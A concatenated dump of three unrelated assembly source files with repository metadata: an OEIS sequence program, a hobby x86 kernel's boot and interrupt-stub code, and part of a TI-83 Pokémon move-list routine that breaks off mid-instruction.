00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
29.695793
2,999
0.652354
f1be6ae26229a01df2c4468a6bdb8c92df67d68c
774
asm
Assembly
oeis/337/A337466.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/337/A337466.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/337/A337466.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A337466: Expansion of sqrt(2 / ( (1-4*x+36*x^2) * (1-6*x+sqrt(1-4*x+36*x^2)) )). ; Submitted by Christian Krause ; 1,4,-6,-120,-266,2520,17380,-13104,-599130,-1853544,12391116,108252144,6439356,-3577917200,-14043012984,65962248352,730407220998,602517029400,-22507424996420,-108316306187600,347406564086868,5073542740156752,7904100039294456,-143838603813578400,-836549877296677284,1691807711822106480,35609126358277132920,81201769651316554080,-917382321233363152200,-6431192481954308217120,6627194276798724414480,250204711897303622733120,754364519936398139081670,-5763669674375163963757800 mov $1,1 mov $2,1 mov $3,$0 add $3,1 add $3,$0 mov $4,1 lpb $3 mul $1,$3 mul $2,-2 sub $3,1 mul $1,$3 sub $3,1 add $5,$4 div $1,$5 add $2,$1 add $4,2 lpe mov $0,$2
33.652174
475
0.751938
09e3282aa7632b126791e263632e7ab01b9181c2
10,279
asm
Assembly
kernel/boot.asm
brandonto/StarkOS
527b1c3d9b1ebcc89ed944d48e9141396dd1893b
[ "0BSD" ]
3
2016-04-23T04:16:34.000Z
2016-05-07T01:29:22.000Z
kernel/boot.asm
brandonto/StarkOS
527b1c3d9b1ebcc89ed944d48e9141396dd1893b
[ "0BSD" ]
null
null
null
kernel/boot.asm
brandonto/StarkOS
527b1c3d9b1ebcc89ed944d48e9141396dd1893b
[ "0BSD" ]
null
null
null
; ; start.asm ; ; Entry point for Kernel. Taken from: http://wiki.osdev.org/Bare_Bones_with_NASM ; ; Declare constants used for creating a multiboot header. MBALIGN equ 1<<0 ; align loaded modules on page boundaries MEMINFO equ 1<<1 ; provide memory map info FLAGS equ MBALIGN|MEMINFO ; this is the Multiboot 'flag' field MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header CHECKSUM equ -(MAGIC + FLAGS) ; checksum of above, to prove we are multiboot ; Declare a header as in the Multiboot Standard. We put this into a special ; section so we can force the header to be in the start of the final program. section .multiboot align 4 dd MAGIC dd FLAGS dd CHECKSUM ; Currently the stack pointer register (esp) points at anything and using it may ; cause massive harm. This will allocate room for a small temporary stack by creating ; a symbol at the bottom of it, then allocating 16384 bytes for it, and finally creating ; a symbol at the top. section .bootstrap_stack, nobits align 4 stack_bottom: resb 16384 stack_top: ; The linker script specifies _start as the entry point to the kernel and the ; bootloader will jump to this position once the kernel has been loaded. It ; doesn't make sense to return from this function as the bootloader is gone. section .text global _start _start: ; Welcome to kernel mode! We now have sufficient code for the bootloader to ; load and run our operating system. It doesn't do anything interesting yet. ; Perhaps we would like to call printf("Hello, World\n"). You should now ; realize one of the profound truths about kernel mode: There is nothing ; there unless you provide it yourself. There is no printf function. There ; is no <stdio.h> header. If you want a function, you will have to code it ; yourself. And that is one of the best things about kernel development: ; you get to make the entire system yourself. You have absolute and complete ; power over the machine, there are no security restrictions, no safe ; guards, no debugging mechanisms, there is nothing but what you build. ; By now, you are perhaps tired of assembly language. You realize some ; things simply cannot be done in C, such as making the multiboot header in ; the right section and setting up the stack. However, you would like to ; write the operating system in a higher level language, such as C or C++. ; To that end, the next task is preparing the processor for execution of ; such code. C doesn't expect much at this point and we only need to set up ; a stack. Note that the processor is not fully initialized yet and stuff ; such as floating point instructions are not available yet. ; To set up a stack, we simply set the esp register to point to the top of ; our stack (as it grows downwards). mov esp, stack_top ; Push pointer to the Multiboot information structure push ebx ; Push kernel memory bounds extern kernel_physical_start extern kernel_physical_end push kernel_physical_end push kernel_physical_start ; We are now ready to actually execute C code. We cannot embed that in an ; assembly file, so we'll create a kernel.c file in a moment. In that file, ; we'll create a C entry point called kernel_main and call it here. extern kernel_main call kernel_main ; In case the function returns, we'll want to put the computer into an ; infinite loop. To do that, we use the clear interrupt ('cli') instruction ; to disable interrupts, the halt instruction ('hlt') to stop the CPU until ; the next interrupt arrives, and jumping to the halt instruction if it ever ; continues execution, just to be safe. cli .hang: hlt jmp .hang ; Load the GDT global gdt_load extern gdtptr gdt_load: lgdt [gdtptr] ; Load GDT mov ax, 0x10 ; 0x10 is the offset to data segment mov ds, ax ; Loads every data segment with offset mov es, ax mov fs, ax mov gs, ax mov ss, ax ; Far jump sets code segment jmp 0x08:loadcs ; 0x08 is the offset to code segment loadcs: ret ; Load the IDT global idt_load extern idtptr idt_load: lidt [idtptr] ; Load IDT ret ; Interrupt Service Routines global isr0 global isr1 global isr2 global isr3 global isr4 global isr5 global isr6 global isr7 global isr8 global isr9 global isr10 global isr11 global isr12 global isr13 global isr14 global isr15 global isr16 global isr17 global isr18 global isr19 global isr20 global isr21 global isr22 global isr23 global isr24 global isr25 global isr26 global isr27 global isr28 global isr29 global isr30 global isr31 ; 0: Divide By Zero Exception isr0: cli push byte 0 push byte 0 jmp isr_common_stub ; 1: Debug Exception isr1: cli push byte 0 push byte 1 jmp isr_common_stub ; 2: Non Maskable Interrupt Exception isr2: cli push byte 0 push byte 2 jmp isr_common_stub ; 3: Int 3 Exception isr3: cli push byte 0 push byte 3 jmp isr_common_stub ; 4: INTO Exception isr4: cli push byte 0 push byte 4 jmp isr_common_stub ; 5: Out of Bounds Exception isr5: cli push byte 0 push byte 5 jmp isr_common_stub ; 6: Invalid Opcode Exception isr6: cli push byte 0 push byte 6 jmp isr_common_stub ; 7: Coprocessor Not Available Exception isr7: cli push byte 0 push byte 7 jmp isr_common_stub ; 8: Double Fault Exception (With Error Code!) isr8: cli push byte 8 jmp isr_common_stub ; 9: Coprocessor Segment Overrun Exception isr9: cli push byte 0 push byte 9 jmp isr_common_stub ; 10: Bad TSS Exception (With Error Code!) isr10: cli push byte 10 jmp isr_common_stub ; 11: Segment Not Present Exception (With Error Code!) isr11: cli push byte 11 jmp isr_common_stub ; 12: Stack Fault Exception (With Error Code!) isr12: cli push byte 12 jmp isr_common_stub ; 13: General Protection Fault Exception (With Error Code!) isr13: cli push byte 13 jmp isr_common_stub ; 14: Page Fault Exception (With Error Code!) isr14: cli push byte 14 jmp isr_common_stub ; 15: Reserved Exception isr15: cli push byte 0 push byte 15 jmp isr_common_stub ; 16: Floating Point Exception isr16: cli push byte 0 push byte 16 jmp isr_common_stub ; 17: Alignment Check Exception isr17: cli push byte 0 push byte 17 jmp isr_common_stub ; 18: Machine Check Exception isr18: cli push byte 0 push byte 18 jmp isr_common_stub ; 19: Reserved isr19: cli push byte 0 push byte 19 jmp isr_common_stub ; 20: Reserved isr20: cli push byte 0 push byte 20 jmp isr_common_stub ; 21: Reserved isr21: cli push byte 0 push byte 21 jmp isr_common_stub ; 22: Reserved isr22: cli push byte 0 push byte 22 jmp isr_common_stub ; 23: Reserved isr23: cli push byte 0 push byte 23 jmp isr_common_stub ; 24: Reserved isr24: cli push byte 0 push byte 24 jmp isr_common_stub ; 25: Reserved isr25: cli push byte 0 push byte 25 jmp isr_common_stub ; 26: Reserved isr26: cli push byte 0 push byte 26 jmp isr_common_stub ; 27: Reserved isr27: cli push byte 0 push byte 27 jmp isr_common_stub ; 28: Reserved isr28: cli push byte 0 push byte 28 jmp isr_common_stub ; 29: Reserved isr29: cli push byte 0 push byte 29 jmp isr_common_stub ; 30: Reserved isr30: cli push byte 0 push byte 30 jmp isr_common_stub ; 31: Reserved isr31: cli push byte 0 push byte 31 jmp isr_common_stub extern fault_handler ; Saves the processor state, sets up for kernel mode segments, calls the ; C-level fault handler, and finally restores the stack frame. isr_common_stub: pusha push ds push es push fs push gs mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov eax, esp push eax mov eax, fault_handler call eax pop eax pop gs pop fs pop es pop ds popa add esp, 8 iret global irq0 global irq1 global irq2 global irq3 global irq4 global irq5 global irq6 global irq7 global irq8 global irq9 global irq10 global irq11 global irq12 global irq13 global irq14 global irq15 ; 32: IRQ0 irq0: cli push byte 0 push byte 32 jmp irq_common_stub ; 33: IRQ1 irq1: cli push byte 0 push byte 33 jmp irq_common_stub ; 34: IRQ2 irq2: cli push byte 0 push byte 34 jmp irq_common_stub ; 35: IRQ3 irq3: cli push byte 0 push byte 35 jmp irq_common_stub ; 36: IRQ4 irq4: cli push byte 0 push byte 36 jmp irq_common_stub ; 37: IRQ5 irq5: cli push byte 0 push byte 37 jmp irq_common_stub ; 38: IRQ6 irq6: cli push byte 0 push byte 38 jmp irq_common_stub ; 39: IRQ7 irq7: cli push byte 0 push byte 39 jmp irq_common_stub ; 40: IRQ8 irq8: cli push byte 0 push byte 40 jmp irq_common_stub ; 41: IRQ9 irq9: cli push byte 0 push byte 41 jmp irq_common_stub ; 42: IRQ10 irq10: cli push byte 0 push byte 42 jmp irq_common_stub ; 43: IRQ11 irq11: cli push byte 0 push byte 43 jmp irq_common_stub ; 44: IRQ12 irq12: cli push byte 0 push byte 44 jmp irq_common_stub ; 45: IRQ13 irq13: cli push byte 0 push byte 45 jmp irq_common_stub ; 46: IRQ14 irq14: cli push byte 0 push byte 46 jmp irq_common_stub ; 47: IRQ15 irq15: cli push byte 0 push byte 47 jmp irq_common_stub extern irq_handler ; Stub for IRQ based ISRs. This calls '_irq_handler'. irq_common_stub: pusha push ds push es push fs push gs mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov eax, esp push eax mov eax, irq_handler call eax pop eax pop gs pop fs pop es pop ds popa add esp, 8 iret
18.689091
92
0.674774
1f5d601d479efef3010df8607a3d37d1d7dde9b6
138,531
asm
Assembly
levelmove.asm
encukou/ti83-dex
e5c549a02f3b269b6101cac65f85996b5ad11694
[ "MIT" ]
1
2017-12-31T06:10:09.000Z
2017-12-31T06:10:09.000Z
levelmove.asm
encukou/ti83-dex
e5c549a02f3b269b6101cac65f85996b5ad11694
[ "MIT" ]
null
null
null
levelmove.asm
encukou/ti83-dex
e5c549a02f3b269b6101cac65f85996b5ad11694
[ "MIT" ]
null
null
null
DEFINE P6LEVELMOVE, SPACE=ROM SEGMENT P6LEVELMOVE extern _Green extern _DrawPkName extern _Red extern _Select extern _Move extern _LoadPic extern _LPicBank1 extern _DrawMoveName extern _DrawMoveName_AlignRight extern _MoveList public MoveList extern _LoadLevelMoves extern _LoadBreedMoves extern _StatCalculator extern eggmovedatastart include "header.inc" globals on include "linemacros.inc" ; IY+asm_Flag2 is used for the total number of moves that are on screen now ; use (IY+totalmovesonscreen) totalmovesonscreen equ tempFlagByte ; statVars is used for levelup move data move_number equ statVars movedata equ statVars+1 tmhmadv equ movedata tmhmgsc equ tmhmadv+8 tmhmrby equ tmhmgsc+8 yellowextras equ tmhmrby+8 ; tempSwapArea is used for random info: randominfo equ tempSwapArea mode_screen equ randominfo ; two bytes; usually loaded to BC together mode equ mode_screen+0 ; modes: 0=Level-Up 1=Tutor 2=TM/HM 3=Breed levelup equ 0 tutor equ 1 tmhm equ 2 breed equ 3 screen equ mode_screen+1 ; The current screen pixrep_total equ randominfo+2 ; two bytes, usually loaded to DE pixrep equ pixrep_total+0 ; How many pixels represent 1 screen on the "page line" total equ pixrep_total+1 ; total # of screens noofmoves equ randominfo+4 tmhm_temp_total equ randominfo+5 ; The total number of screens, used temporarily until loaded to (total) currpos equ randominfo+6 ; Current "cursor" position ; appBackUpScreen is used for listing TM/HM moves that are on screen now (to be filled in the drawing routine) tmhmlistforcurrentpokemon equ appBackUpScreen ; saveSScreen IS USED FOR TEMPORARY STORAGE! ; Begin Program MoveList: B_CALL ClrLCDFull set showpkmn, (IY+dexstate) ld A,levelup ld (mode),A movelist_noresetmode: ; doesn't reset screen also if mode is TM/HM ld A,(mode) cp tmhm jp z,movelist_noresetscreen xor A ld (screen),A movelist_noresetscreen: ; We will reset the current position xor A ld (currpos),A AppOnErr failed_to_get_x B_CALL RclX ; get our X ld HL,385 B_CALL SetXXXXOP2 B_CALL CpOP1OP2 jp z,chimechox jp nc,failed_to_get_x chimechox: AppOffErr B_CALL RclX ; get our X again B_CALL ConvOP1 ; put X to DE push DE startbuffer call drawsplash pop DE ; don't push DE - not needed any more ld A,(mode) or A jp z,ld_levelmoves dec A jp z,ld_tutor dec A jp z,ld_tmhm ;dec A jp ld_breedmoves ld_levelmoves: B_CALL LoadLevelMoves jp movesloaded ld_breedmoves: ld HL,eggmovedataoffsets add HL,DE add HL,DE ld E,(HL) inc HL ld D,(HL) ld A,E or A jp nz,allisright ld A,D or A jp nz,allisright zeromoves: xor A ld (statVars),A jp movesloaded allisright: ex HL,DE B_CALL LoadBreedMoves jp movesloaded ld_tutor: call loadtutormoves jp movesloaded ld_tmhm: call loadmachinemoves movesloaded: B_CALL RclX ; get our X again xor A ld (penRow),A ld (penCol),A B_CALL DrawPkName ld A,(statVars) ld (noofmoves),A cp 32+1 jp P,five cp 24+1 jp P,four cp 16+1 jp P,three cp 8+1 jp P,two ; else, one one: ld DE,1*256+(12/1) jr endnos three: ld DE,3*256+(12/3) jr endnos four: ld DE,4*256+(12/4) jr endnos five: ld DE,5*256+(12/5) jr endnos two: ; Two's the most common ld DE,2*256+(12/2) ; jr endnos endnos: ld (pixrep_total),DE drawscreen_pokemonloaded: ; call this if only mode or screen number were changed continuebuffer ld BC,(mode_screen) ld DE,(pixrep_total) ld A,(noofmoves) call drawscreen call drawstatics endbuffer ld A,(statVars) or A jp z,waitkey ; if no moves, don't mess with cursor ld HL,currpos jp cursor_update_check_upperbound ; this jumps us to waitkey eventually, but checks correct cursor position ; before that drawsplash: ; B_CALL ForceFullScreen ; B_CALL ClrLCDFull ; clear screen ; B_CALL GrBufClr ; clear buffer ld H,1 putline 19, 7,52, 7 putline 54, 7,93, 7 putline 0, 7, 0,11 putline 19, 7,19,11 putline 1,12,18,12 putline 45, 3,56, 3 ld A,(mode) cp tmhm jr z,skip_long_vertical_line putline 53, 8,53,62 skip_long_vertical_line: putline 42, 3,43, 3 putline 43, 2,43, 4 putline 58, 3,59, 3 putline 58, 2,58, 4 ret drawstatics: ld A,(mode) or A jp z,drawstatics_levelup dec A jp z,drawstatics_tutor dec A jp z,drawstatics_tmhm ;dec A ;jp drawstatics_breed drawstatics_breed: ld HL,p_tabs2 ld DE,OP1 ld BC,p_tabs2_end-p_tabs2 LDIR ld hl,OP1 ; HL points to copied image ld de,7*256+2 ; DE <- coords B_CALL DisplayImage ld H,1 putline 74, 7,74,14 putline 84, 7,84,14 ld HL,s_breed ld DE,OP1 ld BC,9 LDIR putOP1sn 27, 8, 0, 5 putOP1sn 70, 8, 5, 1 putOP1sn 76, 8, 6, 2 putOP1sn 86, 8, 8, 1 ret drawstatics_tutor: ld HL,p_tabs3 ld DE,OP1 ld BC,p_tabs3_end-p_tabs3 LDIR ld hl,OP1 ; HL points to copied image ld de,7*256+2 ; DE <- coords B_CALL DisplayImage ld H,1 putline 74, 7,74,14 putline 84, 7,84,14 ld HL,s_tutor ld DE,OP1 ld BC,10 LDIR putOP1sn 25, 8, 0, 6 putOP1sn 70, 8, 6, 1 putOP1sn 76, 8, 7, 2 putOP1sn 86, 8, 9, 1 ret drawstatics_tmhm: ld HL,p_tabs4 ld DE,OP1 ld BC,p_tabs4_end-p_tabs4 LDIR ld hl,OP1 ; HL points to copied image ld de,7*256+2 ; DE <- coords B_CALL DisplayImage ld H,1 putline 19, 7,93, 7 ld HL,s_tmhm ld DE,OP1 ld BC,10 LDIR putOP1sn 21, 8, 0, 5 ld A,(total) ld C,A putOP1sn 66, 0, 5, 1 dec C jp z,skip_other_tmhm_headers putOP1sn 74, 0, 6, 2 dec C jp z,skip_other_tmhm_headers putOP1sn 86, 0, 8, 2 skip_other_tmhm_headers: ld HL,s_nomove_selected ld DE,OP1 ld BC,12 LDIR putOP1sn 46, 8, 0, 12 ret drawstatics_levelup: ld HL,p_tabs1 ld DE,OP1 ld BC,p_tabs1_end-p_tabs1 LDIR ld hl,OP1 ; HL points to copied image ld de,7*256+2 ; DE <- coords B_CALL DisplayImage ld H,1 putline 64, 7,64,14 putline 78, 7,78,14 putline 84, 7,84,14 ld HL,s_lvup ld A,(total) ; DEOXYS WEIRDNESS cp 4 ; DEOXYS WEIRDNESS call z,preparedeoxys ; DEOXYS WEIRDNESS ld DE,OP1 ld BC,15 LDIR putOP1sn 21, 8, 0, 8 putOP1sn 56, 8, 8, 2 putOP1sn 70, 8,10, 2 putOP1sn 80, 8,12, 1 putOP1sn 86, 8,13, 2 ret preparedeoxys: ; DEOXYS WEIRDNESS ld HL,s_deoxys ; DEOXYS WEIRDNESS ret ; DEOXYS WEIRDNESS drawscreen: ; total # of screens in D, pixels to represent 1 screen in E, screen number in B, mode in C, total # of moves in A ; preserves DE & BC push AF push DE push BC ld (IY+totalmovesonscreen),00 ; Init the Moves-On-This Screen counter ; Check for TM/HM mode - this mode draws totally differently ld A,C cp tmhm jp z,drawscreen_tmhm ld H,0 ; white line putline 45, 2,56, 2 putline 45, 4,56, 4 pop BC pop DE pop AF push DE push AF push BC ld A,B or A jp z,addloopend xor A addloop: add E dec B jp nz,addloop addloopend: add 45 ld B,A add E dec A ld D,A ld H,1 ; dark line ld C,63-2 ld E,63-2 B_CALL ILine ld C,63-4 ld E,63-4 B_CALL ILine pop BC pop AF push BC push AF ld A,62 ld (penCol),A xor A ld (penRow),A ld A,B sla A ; x2 sla A ; x4 sla A ; x8 inc A ; add 1 for human-friendly numbering call draw2digits ld A,'-' B_CALL VPutMap ld A,B inc A ; this effectively adds 8 sla A ; x2 sla A ; x4 sla A ; x8 pop BC ; this popped out what was supposed to be AF push BC cp B ; if the max is bigger, output the max jp m,drawscreenend ; else, give end of this screen ld A,B drawscreenend: call draw2digits ld A,'/' B_CALL VPutMap pop AF or A jp z,draw2zeros_announcezeromoves_pop2times ; don't push AF - not needed any more call draw2digits pop BC ; screen number/mode push BC ld A,C ; stash mode number away in A sla B ; x2 sla B ; x4 sla B ; x8 - 8 moves per screen ld C,B ld B,0 ld HL,statVars+1 add HL,BC ; 1 add HL,BC ; 2 or A ; query the stashed mode jr nz,skipthirdadd ; if mode is not 0, two bytes per record are enough... add HL,BC ; 3 - 3 bytes total per record skipthirdadd: pop BC ; screen number/mode push BC ld B,8 ; start the counter ; -MODE CHECK- ld A,C or A ; level-up jp z,drawscreenloop dec A ; Tutor jp z,drawscreen_breed ;it's the same as Breed dec A ; TM/HM ;jp z,drawscreen_tmhm ;not implemented jp drawscreen_breed drawscreenloop: push BC ; save B, the counter; and C, the mode number ld A,8 ; Get the number of the line we're to write on (0,1,2,3,4,5,6,7) sub B ; We're getting it from the countdown value (8,7,6,5,4,3,2,1) - so use 8-B -> A sla A ; x2 ld B,A ; store the 2n sla A ; x4 add B ; add the 4n to the 2n --> 6n (6 is the height of a row) add 14 ; add 14, the penRow of the first move ld (penRow),A ; load 6n+14 to pen row. ; load first byte. ld D,(HL) ; load first movedata byte to D, deal with it later inc HL ; load next byte (2nd) ld A,(HL) ; load second movedata byte to Acc for safe keeping inc HL ; load next byte (3rd) push HL ; save HL, the address we're at now ld L,(HL) ; load third movedata byte to L since the address in HL is not needed from now on ld E,A ; put second movedata byte to E so the firts two bytes are in DE push DE ; save DE, the first two bytes of the movedata structure and A,1 ; isolate the MSb of the move index ld H,A ; put the MSb in H so that HL now contains the whole move index dec HL ; whoops... Forgot to convert indexes when converting the data... ld A,H cp -1 jp z,exit_screenloop_cleanup B_CALL SetXXXXOP2 ; put move index into OP2 B_CALL OP2ToOP1 ; put move index into OP1 ld A,4 ld (penCol),A ; set cursor column B_CALL DrawMoveName ; draw the move name inc (IY+totalmovesonscreen) ld A,66 ld (penCol),A ld HL,thirteenspacesandazero+13-3 ld DE,OP1 ld BC,4 LDIR ld HL,OP1 B_CALL VPutS pop DE ; restore DE, the first two bytes of the movedata structure push DE ; save first two bytes srl E ; >>1 srl E ; >>2 srl E ; >>3 srl E ; >>4 srl E ; >>5 sla D ; <<1 sla D ; <<2 sla D ; <<3 ld A,D and 00001000b add E jp z,frlg_same dec A jp z,notinrsefrlg dec A jp z,rseonly dec A jp z,frlgeonly dec A ld E,A add A add E ld HL,s_frlgplusminus ld E,A xor A ld D,A add HL,DE ;ex HL,DE ld DE,OP1 ld BC,3 LDIR ld A,66 ld (penCol),A ld B,3 ld HL,OP1 B_CALL VPutSN ld A,80 ld (penCol),A ld A,10h ; square root ("checkmark") B_CALL VPutMap jp drawlevel frlg_same: ld A,74 ld (penCol),A ld A,10h ; square root ("checkmark") B_CALL VPutMap ld A,80 ld (penCol),A ld A,10h ; square root ("checkmark") B_CALL VPutMap jr drawlevel notinrsefrlg: ld A,74 ld (penCol),A ld A,SFourSpaces B_CALL VPutMap ld A,80 ld (penCol),A ld A,SFourSpaces B_CALL VPutMap jr drawlevel rseonly: ld A,74 ld (penCol),A ld A,SFourSpaces B_CALL VPutMap ld A,80 ld (penCol),A ld A,10h ; square root ("checkmark") B_CALL VPutMap jr drawlevel frlgeonly: ld A,74 ld (penCol),A ld A,10h ; square root ("checkmark") B_CALL VPutMap ld A,80 ld (penCol),A ld A,SFourSpaces B_CALL VPutMap ;jr drawlevel drawlevel: ld A,56 ld (penCol),A drawlevelatcurrentposition: pop DE ; restore DE, the first two bytes of the movedata structure push DE ; save first two bytes srl D ; get the level ld A,D cp 1 jr z,firstlevel cp 01111111b jr z,special call draw2digits jr leveldrawn firstlevel: ld A,'S' B_CALL VPutMap ld A,'t' B_CALL VPutMap jp leveldrawn special: ld A,'S' B_CALL VPutMap ld A,'p' B_CALL VPutMap leveldrawn: pop DE ; restore first 2 bytes ld A,E ; GCRY ; S B ; 01234567 and 00011000b ; GSC jp z,gsc_no cp 00011000b ; GSC jp z,gsc_yes cp 00010000b ; GS jp z,gsc_gs ;cp 00001000b ; C ;jp z,gsc_c ld B,"C" jp gsc_end gsc_gs: ld B,"F" jp gsc_end gsc_yes: ld B,10h ; square root ("checkmark") jp gsc_end gsc_no: ld B,SFourSpaces ;jp gsc_end gsc_end: ld A,E ; GCRY ; S B ; 01234567 and 00000110b ; RBY jp z,rby_no cp 00000110b ; RBY jp z,rby_yes cp 00000100b ; RB jp z,rby_rb ;cp 00000010b ; Y ;jp z,rby_y ld C,"Y" jp rby_end rby_rb: ld C,"F" jp rby_end rby_yes: ld C,10h ; square root ("checkmark") jp rby_end rby_no: ld C,SFourSpaces ;jp rby_end rby_end: ld A,86 ld (penCol),A ld A,B B_CALL VPutMap ld A,C B_CALL VPutMap pop HL ; restore HL, the address we're at now inc HL ; increment HL once more, for a total of 3 increments per pass. Now HL is at 1st byte of next entry. pop BC ; restore B, the counter; and C, the mode number dec B jp nz,drawscreenloop ; decrement B, jump if still non-zero exit_screenloop: pop BC pop DE ret exit_screenloop_cleanup: pop DE pop HL pop BC cleanup_loop: push BC ; save B, the counter; and C, the mode number ld A,8 ; Get the number of the line we're to write on (0,1,2,3,4,5,6,7) sub B ; We're getting it from the countdown value (8,7,6,5,4,3,2,1) - so use 8-B -> A sla A ; x2 ld B,A ; store the 2n sla A ; x4 add B ; add the 4n to the 2n --> 6n (6 is the height of a row) add 14 ; add 14, the penRow of the first move ld (penRow),A ; load 6n+14 to pen row. xor A ld (penCol),A ld HL,thirteenspacesandazero ld DE,OP1 ld BC,14+11 LDIR ld HL,OP1 B_CALL VPutS ld A,56 ld (penCol),A ld HL,OP1+14 ; 9 spaces and a zero B_CALL VPutS pop BC dec B jp z,exit_screenloop jp cleanup_loop draw2zeros_announcezeromoves_pop2times: ld A,"0" B_CALL VPutMap ld A,"0" B_CALL VPutMap call announcezeromoves pop AF ; pop #1 pop AF ; pop #2 ret announcezeromoves: ld A,26 ld (penCol),A ld A,26 ld (penRow),A ld HL,s_nomoves ld DE,OP1 ld BC,8+12 LDIR ld HL,OP1 ld B,8 B_CALL VPutSN ld A,35 ld (penCol),A ld A,35 ld (penRow),A ld HL,OP1+8 ld B,12 B_CALL VPutSN ret ; This is an alternate loop used for Mode 3 (Egg Moves) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; drawscreen_breed: push BC ; save B, the counter; and C, the mode number ld A,8 ; Get the number of the line we're to write on (0,1,2,3,4,5,6,7) sub B ; We're getting it from the countdown value (8,7,6,5,4,3,2,1) - so use 8-B -> A sla A ; x2 ld B,A ; store the 2n sla A ; x4 add B ; add the 4n to the 2n --> 6n (6 is the height of a row) add 14 ; add 14, the penRow of the first move ld (penRow),A ; load 6n+14 to pen row. ; load first byte. ld D,(HL) ; load first movedata byte to D, deal with it later inc HL ; load next byte (2nd) push HL ; save HL, the address we're at now ld L,(HL) ; load second movedata byte to L ld E,L ; put second movedata byte to E so the firts two bytes are in DE push DE ; save DE, the two bytes of the movedata structure ld A,D and A,1 ; isolate the MSb of the move index ld H,A ; put the MSb in H so that HL now contains the whole move index dec HL ; whoops... Forgot to convert indexes when converting the data... ld A,H cp -1 jp z,exit_screenloop_cleanup ; it's all right to jump into another function's subroutine here....? B_CALL SetXXXXOP2 ; put move index into OP2 B_CALL OP2ToOP1 ; put move index into OP1 ld A,4 ld (penCol),A ; set cursor column B_CALL DrawMoveName ; draw the move name inc (IY+totalmovesonscreen) ld A,54 ; clear the "check" area ld (penCol),A ld HL,thirteenspacesandazero ld DE,OP1 ld BC,14 LDIR ld HL,OP1 B_CALL VPutS pop DE ; restore DE, the two bytes of the movedata structure push DE ; save two bytes again ld A,D and 00001000b ; R/S/E/FR/LG jp z,skip_breed_rsefl ld A,69 ld (penCol),A ld A,10h ; Square root ("checkmark") B_CALL VPutMap skip_breed_rsefl: pop DE ; restore DE, the two bytes of the movedata structure push DE ; save two bytes again ld A,D and 00000100b ; G/S jp z,skip_breed_gs ld A,77 ld (penCol),A ld 